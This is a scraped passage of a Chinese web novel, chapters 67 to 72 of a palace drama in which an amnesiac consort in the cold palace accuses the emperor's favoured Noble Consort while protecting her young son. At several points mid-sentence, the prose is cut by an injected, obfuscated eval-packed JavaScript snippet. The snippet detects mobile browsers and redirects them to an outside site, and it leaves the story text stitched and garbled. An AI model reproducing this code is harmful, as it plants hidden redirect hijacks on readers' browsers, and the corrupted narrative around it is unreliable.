她拍了拍胸脯,给自己顺了顺气,转而又看到贺江灈阴郁的视线,又一次不满道:“看什么看?我就是真有什么奸夫,那也是拜你贵妃所赐。” “这些是姜妃告诉你的?”贺江灈问。 他的手撑在石桌上,手背上青筋根根明显,就像是在忍耐着极大的怒火一样。 就连声音都因为恼怒而愈发沉重。 “啥?”晋明鸢没想到,他忽然提姜妃,先茫然的愣了一瞬,才摇了摇头。 “就是她告诉你的吧?张康全让姜妃给朕滚回来。”贺江灈看也不看晋明鸢,直接冲着张公公道。 “够了,是我自己知道的,这些和姜妃无关。”晋明鸢说,“反正你那贵妃十之**就与你的暗卫有关系,劝你还是尽早去查查,免得再弄出个什么血脉不对的孩子来,平白惹人笑话。” 贺江灈面具背后的脸越来越沉,即便有面具的遮挡,让人看不清他此刻的神色,也能感觉到由内而外散发出来的冷意。 “晋明鸢,朕不知你从哪里得出来的这些结论,也不知你听别人说了什么,今日的事到此为止,以后别再让朕听到你说你生下那小子的事是贵妃陷害。”贺江灈说。 扣在桌面上的手攥紧又松开,微小的动作已经彰显出他此刻的隐忍。 至于说话时的语气,更是前所未有的郑重,还染了些许的威胁。 晋明鸢被他短暂的镇住,但很快她就不满道:“你查都没有查,怎么就确定不是她?你对你的贵妃倒是信任,信任到连青红皂白都不分吗? 是不是就连我当年进冷宫,你也没有去查事情的经过,就一味地认定是我错? 我真就不明白了,那贵妃是救过你的命吗?你对她那么信任,信任到连真相都不顾?” “她救过你的命。”贺江灈说,“之前的事你不记得,朕可以不与你计较,但今日这些话只此一次,若是再让朕听到你怀疑贵妃,就莫要怪朕不留情面。” “不可能。”晋明鸢想也没想,她直接否认。 那贵妃矫揉造作的模样还让她记忆深刻,她宁愿相信姜妃甚至是隔壁安妃救过她的命,都不愿意相信那个动不动就吸鼻子的贵妃会救过她。 且不说旁的,就说安妃给她送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482413|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过吃食,姜妃这整整一个月都在这里陪她说话,教贺云瑄拳脚,这两人哪个拎出来都比那个只会用嘴说好话的贵妃要可信的多。 就算她再不喜欢那些弯弯绕绕,谁对她好,她还是能分得清的。 “你不信也没有办法,你欠了贵妃一条命是事实,总之别让朕在你口中听到污蔑贵妃的话。 你现在没有记忆,可以觉得贵妃不好,可以不与她做姐妹,但是你没资格诋毁她。”贺江灈说。 “你凭什么就这么笃定?当**你真的去查了吗?你怎么就知道我是自愿与旁人一起生下云瑄的? 最开始的时候我是你的正妃,明明我只要什么都不做就能得到皇后的位置,我为什么就那么想不开与人苟合? 你当真觉得这中间没有什么问题吗? 关于我之前的事,都是贵妃告诉你的吧,你凭什么就那么信她?” 短暂的晃神之后,晋明鸢深吸一口气,继续不依不饶的说着自己的看法。 她知道自己今日没什么证据,本也不应该在这时候不依不饶的,可现在面对男人的质疑,她心里的那股气怎么也压不住。 尽管对方根本就没有亲口承认,她这会儿也听出来了,她被打入冷宫那件事,确实是这人听了贵妃的一面之词,根本就没有去查,否则他不可能一点反驳也没有。 想到这些,晋明鸢只觉得一阵讽刺。 她之前是脑子坏掉了还是疯了? 怎么偏就给自己选了这么个夫婿? “之前的事朕不想提,总之你生下那孩子的事,与贵妃没有丝毫关系,朕只告诉你一点,你欠赵家一条命,就算你不与贵妃交好,也不能诋毁她分毫。”贺江灈说。 他直接拂袖起身,一副不想与晋明鸢多谈的模样,抬脚就要离开,是晋明鸢大步挡在了他面前:“你总说我欠赵家一条命,那你倒是告诉我,这条命是怎么欠下的?我也好酌情考虑一下,到底是我诋毁贵妃,还是你眼盲心瞎?” 第68章 朕应该去哄晋氏? 晋明鸢从来就不是受气的主。 话既然说到这里,不把一切弄明白,她自然是咽不下这口气。 她张开双臂拦在贺江灈的面前,一双眼睛固执的盯着贺江灈的眼。 贺江灈偏头,避开了晋明鸢的视线:“既然已经忘了便忘了吧,没必要再提了。” “没必要,那你告诉我什么有必要? 既然你执意说我的事与贵妃无关,那你不妨说说我为什么放着好端端的正妻不做偏来进冷宫?是我想不开吗? 如果我没有生下云瑄,当年你登基,我就是名正言顺的皇后,而现在我待在冷宫里,她却成了一人之下的贵妃,这真的只是巧合吗?”晋明鸢冷笑一声,话里都带了讥讽之意。 旁的不说,只说她进了冷宫之后,到底是谁受益最大,晋明鸢就没有办法不怀疑那个贵妃。 “你与其在这里问朕,倒不如问问曾经的自己怎么想的。”贺江灈冷着脸,甩下一句话,直接伸手拨开了晋明鸢。 再也没有停留分毫,他大步流星的离开了冷宫。 “陛下,您是和晋娘娘吵架了吗?”安妃站在门外,看到贺江灈出来,她先是行了个礼,然后语调柔柔的询问。 贺江灈看也没看她,抬脚就要越过她,安妃又说:“陛下,臣妾沏了上好的茶,陛下要不要去泠竹苑坐坐?” “你有事?”安妃平日里最是淡然如水,从来都不会主动邀宠,今日她自己站在这冷宫门口等着就已经足够反常了,更不用说屡次相邀。 贺江灈终于还是压着烦躁问了一句。 安妃说:“臣妾无事,是晋娘娘有事,不知陛下可否移步泠竹苑一坐?” 贺江灈又睨了她一眼,安妃自觉的后退一步,朝着贺江灈做了一个请的手势。 今日安妃才刚搬过来,泠竹苑里还有些凌乱,桌上茶盏漾着碧光,茶香味在屋里氤氲。 贺江灈不耐烦道:“你到底想说什么?” 对于他的态度,安妃并不觉得意外。 她道:“方才臣妾经过冷宫,无意中听到了些晋娘娘的话,当**,臣妾大抵也知道一些,陛下此刻定然在怪晋娘娘不懂事,对不起赵家的付出吧。 可臣妾却觉得此事怪不得晋娘娘。” “你是要替她说好话?”贺江灈饮了一口茶,“朕怎么不知你什么时候和她的关系也这样好了?” “陛下误会了,臣妾与晋娘娘不熟,臣妾只是在为陛下分忧。”安妃说,“臣妾知道,陛下从来都没有放下晋娘娘,就算您现在广纳后宫,事实上也没有真的…” “说正事。” 安妃点头,又重新给贺江灈斟上了茶:“臣妾是觉得,晋娘娘如今既是失忆,便也不指望她能想起之前与贵妃的关系,在现在的她眼里,看待贵妃应与陌生人无异。 更甚者前几日贵妃还设计往冷宫放蛇,不管贵妃出于什么目的,那些在晋娘娘眼里都无异于是陷害。 在这样的情况下,想指望晋娘娘对贵妃有什么好脸色自然是不可能的。 陛下应该也感觉到了现在的晋娘娘过分刚直,没有什么弯弯绕绕,说不准她就是为了那件事与贵妃结下了梁子,她现在与您说这些,无非就是相信您,觉得您能给她一个公道。 毕竟从谁的角度上看都是她做不成皇后,贵妃受益最大,您还这般袒护贵妃,她心里有些不适也是应该的。” “安妃的意思是,朕就放任着她去诋毁贵妃?”贺江灈道。 “那怎么能算诋毁呢?晋娘娘之所以说这些不就是因为对贵妃有误会吗?这误会能解释清了不就好了。 而且陛下明知娘娘已经失忆,就更不应该拿娘娘当做以前的晋娘娘来看待,她现在什么都不懂,什么事都得您耐心告诉她不是吗? 再者说了,晋娘娘之所以敢没有证据,就向您提起贵妃的事,还不是说明她打心眼里是信任您这位夫君的,您现在一走了之,岂不是让晋娘娘伤心?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482414|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安妃说。 她的声音温柔平静,又带着些许循循善诱的意味,就像轻拂过的微风,缓缓的荡尽人的心头。 “你说她信任朕?”贺江灈问。 “是呀,晋娘娘又不是傻子,若非出于信任,她怎么敢在没有证据的情况下将这种猜测直接袒露在陛下面前?她之所以敢说,不就是觉得陛下会为她出头吗? 一个没有记忆的人,对这个世界尽是陌生,陛下今日又匆匆甩开她,想来晋娘娘现在应该在隔壁难受着呢,臣妾觉得陛下应该对晋娘娘多点耐心。” 面具被搁置在一边,贺江灈晃着手中的茶盏,眼里尽是沉思。 而此时,安妃口中那应该难受的晋明鸢,正叉着腰愤愤不平的怒道:“什么陛下,不过是个不分青红皂白的小人罢了。 老娘好心好意帮他避免被绿的可能,他竟然觉得老娘胡说八道? 呸,活该被戴绿帽子。 等那贵妃给他生三四个血脉不纯的东西,看他知不知道后悔。” “娘亲…”晋明鸢发泄的正起劲,背后忽然传来了贺云瑄的声音,闷生生的,还带着些许的犹豫。 晋明鸢连忙止住了话头,就看着贺云瑄端着已经重新热好的饺子从厨房里出来,她赶紧上前,接过了贺云瑄手里的东西,有些尴尬道:“云瑄,你刚才没听到什么吧?” 都怪那该死的狗皇帝,让她没有控制住情绪,在她宝贝儿子面前说了那么多不好听的话。 可千万不能就这么吓到了儿子。 贺云瑄没应声,直到重新走到石桌前坐下,他才伸出手指揪住了晋明鸢的衣角,声音愈发的闷了:“对不起娘亲。” “怎么了云瑄?为什么要说对不起?”晋明鸢瞬间意识到了贺云瑄的情绪不对,联盟温和的出声询问。 贺云瑄的眼睛都红了,他嘴唇颤抖几下,才哽咽道:“都是云瑄不好,拖累了娘亲,如果没有云瑄,娘亲就是皇后了,也不会被人欺负。” 第69章 娘亲只要云瑄 心脏好像被什么东西重重的砸了一下,疼的喘不上气来。 晋明鸢按在贺云瑄头顶的手都是僵硬的,她说:“云瑄为什么会这么想?谁告诉你娘亲想要做皇后了?云瑄是娘的宝贝,从来都不是拖累,在娘亲心里,和云瑄比起来什么都不重要。 乖,不要胡思乱想了,娘说过你永远都是娘最重要的宝贝。 你若是不信任娘的话,娘可要生气了。 云瑄也不想娘生气的,是不是?” 贺云瑄点头,小脸儿埋进了晋明鸢的怀里,声音还是闷的厉害:“可如果没有我的话,娘亲就不会在冷宫里,也不会被人这么不信任。 方才娘亲的话我都听到了,娘亲对于那件事还是很介意的,对吧。” 晋明鸢也没有想到,明明特地支走了贺云瑄,最后却依旧让对方听了个清楚。 晋明鸢点点头:“你说的没错,我确实很介意,不过却不是在介意云瑄的出生。 你既然是我的儿子,对娘亲来说,就永远是娘亲的宝贝,只是娘亲必须得弄清楚当年生下你的原因,如果是被人陷害,罪魁祸首逍遥法外,这对我并不公平。” 听到这里,贺云瑄才猛的抬起头来:“娘亲只是想弄清楚当年的真相报仇,不是不想要云瑄?” “那当然了,娘亲怎么会不想要云瑄呢?”晋明鸢说。 贺云瑄一双眼睛都亮了起来,黑黝黝的瞳孔认真的盯着晋明鸢:“那我帮娘亲,我们一起想办法。一起找证据好不好?” 怕晋明鸢不说话,贺云瑄又兀自拍了拍胸脯,信誓旦旦的道:“娘亲,你相信云瑄好不好?云瑄能帮上娘亲的。” 晋明鸢的神色愈发的犹豫,如果只是别的事便也罢了,可偏偏这关系到贺云瑄出生的原因,她有些担忧查出来的东西不尽人意,会影响到云瑄。 “娘亲,你今日说那些,是抓到了贵妃什么把柄?”贺云瑄又一次开口,这次根本没有给晋明鸢拒绝的机会,就开始问起了情况。 提到这个,晋明鸢有些心虚的摇了摇头,对上贺云瑄略有古怪的视线,她讪笑道:“姜妃肯定知道什么就对了,今日她与贵妃的话我都听到了,我就是跟着贵妃出门一趟,回来就进了冷宫,这事肯定和贵妃脱不了关系。 而且你那个便宜爹,他和贵妃很熟,说不准当时陷害我就有他那一份。” 越说到最后,晋明鸢的底气又渐渐的回来了。 但贺云瑄的神色却是越发的古怪:“所以你找柳枝问那种问题,其实是在怀疑贵妃与那个人有染,而不是你自己喜欢上了那个人?” 真相好似赤裸裸的摆在了眼前,贺云瑄的神色愈发的古怪了。 枉他心惊胆战了那么半天,还以为娘亲要被那人抢走了,没想到竟然是因为这个,贺云瑄一时竟有些觉得哭笑不得。 晋明鸢本人在听到贺云瑄吐出来的猜测时,也是深吸一口气,才堪堪维持住了平静,她伸出一只手来,摸了摸贺云瑄的脑袋:“你没发烧吧,怎么会有这么奇怪的想法? 我会喜欢他?一个心思不纯,说不定还与贵妃一起狼狈为奸,做了不知多少坏事的家伙? 比起这个来,你倒不如说我喜欢那狗皇帝。” “那娘亲你喜欢…”贺云瑄又一次试探,刚放下些许的心,又一次因为晋明鸢的话悬了起来。 晋明鸢直接揉乱了贺云瑄的头发:“小脑袋一天天的在想什么?娘亲有你就够了,你就给娘亲好好的把心放在肚子里吧。” 嘴角溢出了明显的笑,贺云瑄靠在晋明鸢的怀里,心情愉悦的模样怎么也压不住。 娘亲只喜欢他,那些担忧都是多余的,这样真好,他就不用害怕别人来与他抢娘亲了。 就在这时,笑意忽然僵在了脸上,贺云瑄的目光越过晋明鸢胳膊的缝隙看向了冷宫门口,视线在立在门口的那人身上定格,他如老鹰护小鸡一样,警惕道:“你来做什么?” 门口的人不是别人,正是去而复返的贺江灈。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482415|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他理也不理贺云瑄,直接径直朝着晋明鸢的方向走过来。 伴随着男人一言不发的模样一起来的是无穷尽的压迫感,晋明鸢短暂的有些心虚,莫不是自己刚才骂他的话让他听到了? 但很快她又恢复了镇定,听到又如何?她说的句句属实,这人就是不分青红皂白的在维护贵妃,他做的还不许旁人说了? 晋明鸢很快就有了底气,她翻了个白眼,没好气道:“怎么这是又回来给你的贵妃出气了?我警告你,我可不是吃素的,就算你是皇帝,也不能随意欺辱与我。” 贺江灈看着她警惕的模样,不免就想到了方才安妃的话。 难道安妃说得是对的,她其实没有表面上那么表现的镇定,她也是需要安慰的? 只是… 贺江灈还没有想好怎么开口,就见晋明鸢已经弯腰,不知从哪里找了根三指粗的棍子,正指着他:“你赶紧走,否则别怪我不客气,我可是真敢打你的。” 她看着很凶,但那动作落在贺江灈眼里,又像是一只炸了**的猫。 贺江灈直接一撩袍子,在石凳上重新坐了下来,故意调侃道:“朕饭还没有吃呢,爱妃要赶朕去哪里?” “你没吃饭去找你的贵妃啊,我这里哪有东西招待你?”晋明鸢嘀咕一句,就见贺江灈已经很是自觉的拿了筷子,她登时急切道,“不是,你还真要吃饭? 我们这里清汤寡水的,哪里能款待得了您?万一再吃出个好歹来,到时怪罪下来,我找谁说理去?” 之前便也罢了,她有事要说,这男人提出留下来吃饭,她没什么意见。 可现在他既然都已经训斥了自己,力保了贵妃,还想留在她这里吃饭,哪里来的这么大的脸? 真当她没脾气吗? 还是把她这里当收容所,他想吃就吃,不想吃就走? 哪有那么好的事? 这般想着晋明鸢直接丢了手里的棍子,伸手就要夺贺江灈的筷子。 第70章 过往旧事 “不用你找人说理,朕今日就是想吃你的清汤寡水,这样还有问题吗?”贺江灈侧身,直接躲开了晋明鸢探过来的手。 “这根本就不是一个问题,你这人是不是听不懂人话?我这里不欢迎你,难道说的还不够明白吗?”晋明鸢深吸口气,干脆直接把话挑明了。 “因为方才的事?”贺江灈问,“方才是朕处理的不够妥当,朕不知你为什么对贵妃忽然有了那种误解,但不管怎么说,你现在记忆毕竟缺失。 朕觉得,就算真的要谈论过往的事,也该等你恢复记忆之后,至少那个时候才是你真正的想法。 朕也不是有意偏袒贵妃,只是…” 解释的话说了一半,晋明鸢就直接打断了他:“我才没有心思听你讲这些,你想在这里吃饭?那不如我们先算算,这五年以来,你给过我什么东西? 我在这儿衣不蔽体,食不果腹,你可曾过问过一句?现在你又怎么好意思来我这里用饭? 你知不知道我刚醒来的时候,那厨房里连一粒米也没有,整个院子里就只有那两根韭菜。 您日理万机,记不得我这号人,那就一辈子别记得,现在跑这儿来刷什么存在感?” 从刚醒来时,看到这家徒四壁的冷宫开始,晋明鸢心里就始终憋了一股火气,直到这时才终于一股脑的全吐了出来。 她双手叉腰,不屑的盯着面前衣冠楚楚的男人,又或者该说是她名义上的丈夫。 尽管之前过往她已经不记得了,又或者她之前确实是做过什么不好的事,但那并不是对方把自己丢在这里自生自灭的理由。 就算她确实背叛过他,那他大可以休弃她,又或者通过别的方式罚她,而不是把她困在这里不给吃喝,一点点的消磨。 更或者说,他分明就是在通过贬低她折辱她来找优越感。 之前见不到面便也罢了,现在既然撞上,那晋明鸢自觉应该把这些都跟他挑明白了。 女人不耐烦的话一句一句落在心头,贺江灈神色微凝,他说:“朕从来都没有让任何人克扣你吃食,之前的事或许是贵妃疏忽,但是她不是已经给你交代了吗?” “交代?”晋明鸢冷笑一声,“陛下指的是欣贵人送来的那些金银珠宝? 您倒是高高在上,目不染尘,您当然不知道,珠宝在冷宫里是最无用的东西,若臣妾真的只守着她送来的那所谓的珠宝,臣妾与云瑄就该饿**。” 晋明鸢话里的讥讽愈加不能掩饰。 不管贺江灈错愕的神色,她继续说:“陛下既是放任我们母子在这里自生自灭,那我也没有必要管您这一口饭,所以请陛下离开。” 逐客令下的干脆,晋明鸢恨不得直接伸手过来扯人。 “阿鸢,不管你信不信,朕确实有安排人来给你们送饭,贵妃也经常过来探望,至于你说的那些金银珠宝,她从来没吃过苦,当是没有想到这些,她…” “够了,你之前什么安排我已经不记得了,我只记得自己现在所见到的,请吧,陛下,这里不欢迎你。” 再也不留一点转圜的余地,晋明鸢真的伸手把贺江灈拉了起来。 贺江灈并没有太多的抗拒,他深深的看了晋明鸢一眼:“你今日不想见朕,朕走就是,这些**,朕会重新彻查。” 男人很快离开,院里又只剩下了贺云瑄和晋明鸢,贺云瑄这才闷声道:“娘亲,他好像没有说谎,之前冷宫里有于嬷嬷,还有个翠枝姑娘,也时不时的过来,当时娘亲和翠枝姑娘关系还挺好,你好像总托翠枝姑娘帮你带东西的。” “于嬷嬷,翠枝姑娘?”晋明鸢有些疑惑的重复了一遍,她好像确实不止一次的听贺云瑄提到过这个于嬷嬷,至于那个翠枝姑娘,却还是头一回听说。 自从自己醒来也快有两个月了,可这两人她为什么从来没见过? “对不起娘亲,我刚才不是故意不说的,我就是不想让他留下。”贺云瑄以为晋明鸢不高兴了,又是小心翼翼的道歉。 那还不就是故意的? 晋明鸢在心里嘀咕一句,轻轻的摸了摸他的脑袋:“道歉做什么?娘亲又没有怪你。 你说的那个于嬷嬷和翠枝又是什么人?为什么我从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482416|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有见过?” 既然也是冷宫里的人,不应该没人提过才对,就算贺云瑄不提。柳枝那个大嘴巴也该说的。 贺云瑄说:“于嬷嬷不在了,去年冬天,欣贵人来冷宫,于嬷嬷为了保护我,冲撞了她,被她拖下去打了板子,就没能熬过去。” 提到于嬷嬷的时候,贺云瑄的手都攥紧了几分,声音里也带了哑,听起来像是哽咽。 晋明鸢心头也是蓦地一紧。 有些怜惜的握住了贺云瑄的手。 她之前对贺云瑄不管不顾,看来照顾贺云瑄的一直都是这位于嬷嬷了。 可是… “那个欣贵人经常来冷宫欺负你吗?”晋明鸢压着心里的沉重,又问。 她记得自己刚醒来的那日,那个欣贵人就来耀武扬威了,现在看来那根本就不是偶然。 贺云瑄点点头:“她们都叫我野种,心情不好就来,让我伺候她们,于嬷嬷不同意,她们就打于嬷嬷。” “她们?” “嗯,这宫里很多嫔妃都这样,王昭仪也来过,还有…” “这些你怎么从来都没有与我说过?”晋明鸢听着贺云瑄口中道出来的一个个名讳,只觉得半天都没有办法将火气压抑下去。 贺云瑄说:“都过去了,我不想让娘亲不高兴,现在我有娘亲很好,那些都不重要了。” “怎么就不重要了?她们那么欺负你,凭什么就这么算了?这件事我记下了,别让我再见到那几个人,否则我一定打的她们爹妈都不认识。”晋明鸢握了握拳头,说话的时候,脑海里浮现出的是贺云瑄最开始自称野种的模样。 听说现在代管六宫的是贵妃,她就不信那些人经常来冷宫找事,贵妃不知道! 一边放任,一边又在她面前装好人,脸皮还真是够厚的。 晋明鸢叹了口气,有点儿后悔把那人赶走了,真该让他自己听听,他自己的后宫乱成什么样子。 “娘亲,您还好吧?”晋明鸢半晌没有说话,贺云瑄有些担忧道。 “娘亲没事,你再和娘亲说说翠枝吧。” 第71章 姜妃代管六宫 晋明鸢和贺云瑄打探往事的时候。 贺江灈已经到了玉粹宫。 看到他的到来,贵妃满脸欣喜:“陛下,您今日怎么到臣妾这里了?可是政务忙完了,臣妾…” “贵妃,你要不要与朕解释一下,冷宫里的于嬷嬷是**的?”贺江灈直接打断了贵妃未尽的话,他的是脚步越过了匆匆迎上来的贵妃,径直在软榻上坐下,看向贵妃的目光像是进了寒冰。 贵妃骤然一愣:“去年冬日天寒,于嬷嬷年纪大了,没有熬过去。 这件事臣妾也很伤心,当时已经给了于嬷嬷家里人一笔银两,厚葬了她。 陛下怎么突然问起这件事来,可是有什么问题吗?” “这就是贵妃知道的所有?”贺江灈问。 贵妃愣了一下,还是点了点头。 贺江灈的手猛的一拍桌子,他道:“那贵妃还真是让朕刮目相看,朕让你代掌凤印,你处事就是这般眼盲心瞎,连个公正都没有? 当年朕把于嬷嬷派到冷宫的时候,于嬷嬷分明身子康健,怎么可能挨不过冬日? 你说厚葬了于嬷嬷,可见过于嬷嬷身上被杖责留下来的伤痕?” 他一连几个问题问出来,贵妃的脸色也是一片惨白。 手指在袖子里无知觉的蜷缩,贵妃心里渐渐的升起了几分慌乱,她道:“陛下恕罪,臣妾确实没有亲自去看于嬷嬷下葬,是臣妾的疏忽,请陛下恕罪。” 说话间贵妃已经跪了下来,脸上却带着几分疑惑。 那于嬷嬷**都已经快一年了,陛下怎么今日忽然提起这桩事? 满春也连忙替贵妃辩解:“求陛下明鉴,贵妃娘娘千金之躯,没有去看一个奴才下葬本就正常,还请陛下不要因此怪罪贵妃。” 主仆二人这一番话,无异于是在变相的推卸责任。 贺江灈视线望向满春:“牙尖嘴利,这里岂有你一个奴婢说话的份?自行掌嘴。” 满春不敢再言语,连忙退到一边,巴掌声随之响起。 贺江灈这才看向了贵妃:“朕自是没要求爱妃去看一个奴才下葬,只是人是**的,贵妃都不弄清楚就妄下定论,这难道就是你管理后宫之道吗? 平日里若是嫔妃犯错,贵妃也这般没个公平?” “臣妾…”贵妃讷讷的开口,明显就是不知该怎么辩解,好一会儿之后,她才直接低下了头,“陛下教训的是,是臣妾疏忽,臣妾甘愿受罚。” 贺江灈道:“贵妃确实太过心软糊涂,不适合管理后宫,从今日起,朕让姜妃与你一起管理后宫吧。” “什么?姜妃?”贵妃的声音蓦地拔高,不受控制的将贺江灈的话重复了一遍。 她不是听说今日姜妃刚得罪了陛下,才领了杖责,陛下怎么会让姜妃帮她管理后宫? 莫不是陛下说错了? 贵妃甚至觉得陛下就算现在说的是安妃,都不至于让她这么惊讶。 “姜妃手段强硬,身份也合适,贵妃可是有什么意见?”贺江灈不紧不慢的说。 贵妃低着头,在贺江灈看不到的地方,五官一阵扭曲,但她还是强作镇定:“臣妾没有意见,全凭陛下安排。” 她心里忍不住暗自犯嘀咕,陛下应该早就知道了姜妃对晋明鸢什么心事,她现在让姜妃替她代管六宫,难不成是变着法子的找人给晋明鸢撑腰? 贺江灈道:“改日你去一趟幽兰馆,与姜妃好好交接一下吧。” 没有再给贵妃反应的机会,他就直接起身离了玉粹宫。 伴随着他的身影离开,方才在旁边掌嘴的满春才敢停了动作,但右脸已经高高的肿起了馒头大小的一个鼓包。 满春也顾不得自己脸上的疼痛,连忙跌跌撞撞的到了贵妃面前:“贵妃娘娘,陛下竟然让您分权给姜妃,您可不能再这么善良了,不然以后说不定还有更过分的事。” 贵妃咬了咬牙,平日里总是含着些许温柔的眼睛,在这会儿也带了明显的阴毒,她道:“她想在本宫这里**,也该有这份能耐才是,马上不是就中秋宫宴了吗?你让人替本宫跑一趟,就说今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482417|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫宴的事交给她来办吧。” 往年不管什么样的宴会,太后那里总是能挑出数不清的毛病,就算有陛下担待着,每次对上太后的冷脸,贵妃也是烦不胜烦。 眼下正好把这棘手的事,交给姜妃。 满春心领神会,立刻安排了下去,在回来的时候见贵妃依旧满脸忧愁,她连忙问:“娘娘可是还有什么忧虑?” 贵妃叹了口气:“陛下如今忽然关心起冷宫的事了,本宫实在是担忧,姐姐如今性子泼辣,万一不小心冲撞了陛下该如何是好?” “贵妃,你怎么还是不死心呢?今日陛下忽然发难,说不定就是那晋娘娘与陛下说了什么呢?您这般关心她,她又不领情,奴婢觉得,贵妃还是先考虑考虑自己吧。”满春说。 贵妃道:“姐姐如今只是失忆了,不记得我们之前的事了而已,她总有一日会记起我的好的。 罢了,满春,你让人盯着冷宫,以后如果陛下再去冷宫,就让人通知本宫,本宫断不能让陛下生姐姐的气。” 满春虽然很不情愿,但又架不住贵妃的吩咐,只能应了下来。 夜色暗涌,冷宫里一盏烛灯幽幽暗暗。 晋明鸢坐在窗前,案上宣纸揉乱了一张又一张。 贺云瑄下午的话仿佛还在耳边回响着。 他说,翠枝之前是四皇子府的丫鬟,与她关系极好,几乎每月都会来冷宫寻她一次。 她失忆的那天,本该就是翠枝来找她的时候,可是后来她掉进了枯井,翠枝也再没有来过。 就算那日翠枝没来是意外,可是晋明鸢现在醒来也接近俩月了,也从没见过翠枝一面。 直觉告诉她,翠枝应该是出事了,自己那日忽然出冷宫,或许就是为了去找翠枝。 晋明鸢总觉得她和翠枝每月一次见面,中间肯定藏了什么,只是贺云瑄并不知道。 看来她还是得先查查翠枝的事,不知这中间与贵妃有没有关系? 这般想着,毛笔在纸上落下,歪歪扭扭的写上了贵妃二字。 第72章 应该对她多点耐心 吱呀一声,背后传来一声门响,有风顺着打开的门缝吹进来。 晋明鸢蓦然回头,正看到一身黑衣的男人旁若无人的进门,她慌乱的就要将桌上的宣纸收起来。 可男人的步子却已经到了她背后,纸上几行明晃晃的字正映入男人的眼里。 她的字不算好看,纸上歪歪扭扭的写了几个名字,有于嬷嬷,有翠枝,有欣贵人,还有贵妃。 但是只有在贵妃名字上面打了好几个明显的叉号。 就算不完全看懂其中的用意,贺江灈大抵也知道,她这纸上分明带着对贵妃的恶意。 “你来做什么?”被看到了,晋明鸢便也没有再遮掩的意思,反而坦然的侧开身子让他看。 她的目光瞥着男人一身黑衣,和那张冷峻无比的脸,一开口话里就是不耐。 算算日子,他快一个月没来过了,今日那陛下才刚走,他就匆匆过来,莫非是知道自己在陛下面前告他惑乱宫闱了? 还是为了维护贵妃,匆匆过来**灭口了? 后一个念头一出来,晋明鸢心里就是一阵慌乱,她的手在桌上摸索着,想要寻个利器防身,到最后手指勾住的却是案上的烛台。 还没有成功把东西拿起来,贺江灈眼疾手快的按住了她的手:“你做什么?” “我警告你,别动我,否则就算我**,你也讨不了好,你与贵妃的脏事,我今日已经告诉陛下了。 若是我这时候出了事,不用查都知道是你们这对奸夫**陷害,我劝你还是赶紧离开这里,我就当你没有来过,否则…” 两个人的声音几乎是同时传出,贺江灈听着晋明鸢理直气壮的话,脸上的表情从古怪到扭曲再到无奈,变化不断。 晋明鸢继续威胁:“瞧你在后宫来去自如,应该也是有些本事的,你也不想就这么不明不白的丧命对不对,现在离开,我就当什么都没有发生过,我们相安无事不好吗?” 贺江灈伸手,慢条斯理的将那烛台拿到了晋明鸢够不到的地方,瞧着她有些惊惶的脸色,他道:“你误会了,我没想对你如何,我今日过来只是想与你解释一句,我同贵妃什么都没有。 阿鸢,或许你应该重新认识我一下,从始至终我心里除了你以外,都没有过别人,我来也不是为了贵妃,只是想看看你。 之前给你的东西都用完了吗?还缺什么?你可以尽管告诉我,我让人给你弄来。” 受安妃的话影响,贺江灈思来想去,还是重新回了冷宫。 甚至念及晋明鸢对他本来的身份抗拒,他这次又换了身份。 